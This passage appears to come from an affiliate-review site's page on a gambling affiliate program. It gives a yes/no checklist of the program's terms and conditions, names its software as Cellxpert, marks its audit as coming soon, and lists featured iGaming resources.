    Terms and Conditions
  2. Slow/Delayed Payments?
    No
  3. Have Retroactively Changed T&C's?
    No
  4. Have Negative Carryover?
    No
  5. High Roller Policy
    No
  6. Are Casino Earnings Bundled?
    No
  7. Missing Admin Fee
    Yes
  8. Ambiguous Termination Clause
    Yes
  9. T&C updates not emailed
    Yes

Affiliate Software

CELLXPERT

AGD AUDIT RESULTS

Audit coming soon

Featured resources

  • TraffKnights
    TraffKnights
    High-paying gambling affiliate program offering customizable deals
    • Guard Dog
    • Updated:
  • Nifty Stats
    Nifty Stats
    stats tracking, casino stats. casino stats tracking, gambling stats, casino tracking, stats remote
    • woltran
    • Updated:
  • Slots Launch
    Slots Launch
    Free Demo Games for Casino Affiliates
    • Guard Dog
    • Updated:
  • TrafficStars
    TrafficStars
    Self-Serve ad Network
    • Guard Dog
    • Updated:
  • StatsDrone
    AGD Approved StatsDrone
    iGaming Affiliate Program Stats Tracker
    • Guard Dog
    • Updated:
Top